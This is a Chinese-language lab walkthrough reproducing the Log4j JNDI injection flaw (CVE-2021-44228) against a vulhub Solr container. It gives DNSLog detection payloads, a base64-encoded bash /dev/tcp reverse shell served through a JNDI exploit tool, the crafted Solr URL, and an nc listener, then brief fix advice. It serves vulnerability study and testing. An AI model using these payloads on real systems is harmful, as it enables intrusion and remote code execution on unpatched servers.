一、漏洞背景:
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,log4j的默认配置允许使用解析日志消息中的对象。攻击者可以构造恶意的日志消息,其中包含一个恶意的Java对象,当log4j尝试解析这个对象时,它将会触发漏洞,导致攻击者能够执行任意代码。
二、漏洞环境:
vulhub.org/#/environments/log4j/CVE-2021-44228/
docker-compose up -d
服务启动后,访问http://your-ip:8983即可查看到Apache Solr的后台页面。
三、漏洞复现:
Ubuntu (192.168.110.163)
kali虚拟机 (192.168.110.141)
exp tools
GitHub - bkfish/Apache-Log4j-Learning: Apache-Log4j漏洞复现笔记
测试该网站存在不存在Apache log4j2漏洞
DNSLog验证
先利用dnslog生成一个用于接收回参的网址
通过DNSLog平台(http://www.dnslog.cn/)获取到域名http://xxxxxx,构造payload ${jndi:ldap://http://xxxxxx}
然后我们对目标网站进行测试,访问网址:
http://192.168.110.163:8983/solr/admin/cores?action=${jndi:ldap://xxxxxx}
换成自己的ip和生成的dnslog值即可
JNDI注入反弹shell
首先到kali中打开我们事先准备好的exp
解压后到tools目录下
构造payload:
bash -i >& /dev/tcp/192.168.110.141/4444 0>&1
这里IP是kali的IP,端口是你等会nc监听的端口
然后我们将这个加密为base64
使用工具
Java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.110.141
这里会生成两个协议各一个执行命令,这两个协议在log4j2中都有执行权限
我们使用第一个,再次构造一个payload
${jndi:rmi://192.168.110.141:1099/k3snom}
到kali中开启nc
nc -lvvp 4444
然后我们将这个payload插入到action的后面
http://192.168.110.163:8983/solr/admin/cores?action=${jndi:rmi://192.168.110.141:1099/k3snom}
回车直接访问
nc成功反弹shell
四、修复建议
1.升级将Log4j框架
2.升级jdk
3.修改log4j配置
4.使用安全产品防护